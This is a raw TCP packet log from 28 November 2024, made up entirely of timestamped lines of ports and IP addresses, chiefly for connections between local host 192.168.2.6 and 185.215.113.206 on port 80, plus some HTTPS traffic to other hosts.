Nov 28, 2024 00:19:46.171128035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.171725035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.171783924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.171821117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.171861887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.172542095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.172601938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.172633886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.172683001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.173342943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.173393965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.173475027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.173598051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.174190998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.174243927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.174287081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.174330950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.175009012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.175067902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.175107002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.175149918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.175831079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.175888062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.175890923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.175925016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.176644087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.176687002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.176755905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.176805019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.177478075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.177525997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.177644014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.177687883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.178318024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.178359032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.178456068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.178529024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.179145098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.179184914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.179269075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.179306030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.179956913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.180002928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.180078983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.180124044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.180766106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.180816889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.217626095 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.226907015 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.228916883 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.228944063 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.228987932 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.229011059 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.229052067 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.246484995 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:46.246517897 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:46.246572971 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:46.246592999 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:46.247531891 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:46.247575045 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:46.247622967 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:46.290074110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.290152073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.290215015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.290481091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.290525913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.290555000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.290587902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.291344881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.291393995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.291450024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.291484118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.292152882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.292283058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.292335033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.292972088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.293018103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.293040991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.293076038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.293811083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.293864965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.293916941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.293958902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.294616938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.294657946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.294737101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.294802904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.295442104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.295481920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.295594931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.295718908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.296284914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.296339035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.296370029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.296406031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.297111988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.297158003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.297177076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.297209024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.297908068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.297952890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.298017979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.298168898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.298767090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.298819065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.298897982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.298933983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.299556971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.299616098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.299644947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.299684048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.300431013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.300472975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.300539017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.300745964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.301237106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.301281929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.301352024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.301386118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.302046061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.302093029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.302140951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.302174091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.302907944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.302949905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.303005934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.303040028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.303714037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.303829908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.303855896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.303869009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.304552078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.304570913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.304589987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.304603100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.305394888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.305443048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.305466890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.305505037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.306210041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.306250095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.306622028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.306660891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.306998014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.307033062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.307073116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.307106018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.307857990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.307950974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.307955027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.307997942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.308670044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.308734894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.308795929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.308857918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.309566975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.309606075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.310508013 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.314223051 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.314452887 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.314481974 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.321618080 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.321677923 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.321685076 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.332387924 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.332443953 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.332453012 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.340872049 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.340962887 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.340969086 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.350194931 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.350241899 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.350248098 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.363852978 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.363913059 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.363919973 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.366574049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.366626978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.366677046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.366713047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.366902113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.367005110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.367094994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.367136002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.367166042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.367202997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.367917061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.367955923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.368047953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.368097067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.368737936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.368907928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.368952990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.369582891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.369626999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.369743109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.369791031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.370431900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.370551109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.370594025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.371201038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.371243000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.371332884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.371537924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.372020960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.372076035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.372277975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.372870922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.372921944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.372976065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.373328924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.373749018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.373855114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.373893023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.374512911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.374571085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.374634981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.374669075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.375363111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.375438929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.375490904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.375525951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.376176119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.376228094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.376306057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.376461983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.377021074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.377070904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.377125978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.377180099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.377536058 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.377636909 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.377644062 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.377818108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.377866030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.377943039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.378122091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.378665924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.378779888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.378802061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.378824949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.379487991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.379544973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.379565001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.379607916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.380315065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.380410910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.380522966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.381155968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.381210089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.381424904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.381572008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.381946087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.381989002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.382121086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.382236958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.382775068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.382878065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.382905960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.382935047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.383622885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.383663893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.383722067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.383759975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.384459019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.384536028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.384587049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.385293007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.385354042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.385454893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.385492086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.386122942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.386178017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.386208057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.386246920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.386923075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.386977911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.387012959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.387052059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.387737989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.387778997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.387882948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.387927055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.388576984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.388681889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.388744116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.388828993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.389410019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.389446020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.389543056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.389591932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.390239954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.390286922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.390312910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.390470982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.391434908 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.391519070 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.391536951 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.404126883 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.404239893 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.404266119 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.415899992 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.416027069 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.416043043 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.427918911 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.427999020 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.428014040 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.437757015 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.438270092 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.438299894 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.438951969 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.438957930 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.439750910 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.440434933 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.440452099 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.451611996 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.451723099 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.451735973 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.476644039 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.476871967 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.476897001 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.480941057 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.480973005 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.481010914 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.481020927 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.481127977 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:46.489424944 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:46.500551939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.500577927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.500777960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.500817060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.501003027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.501051903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.501120090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.501265049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.501858950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.501925945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.501974106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.502686024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.502736092 CET	49794	80	192.168.2.6	185.215.113.206
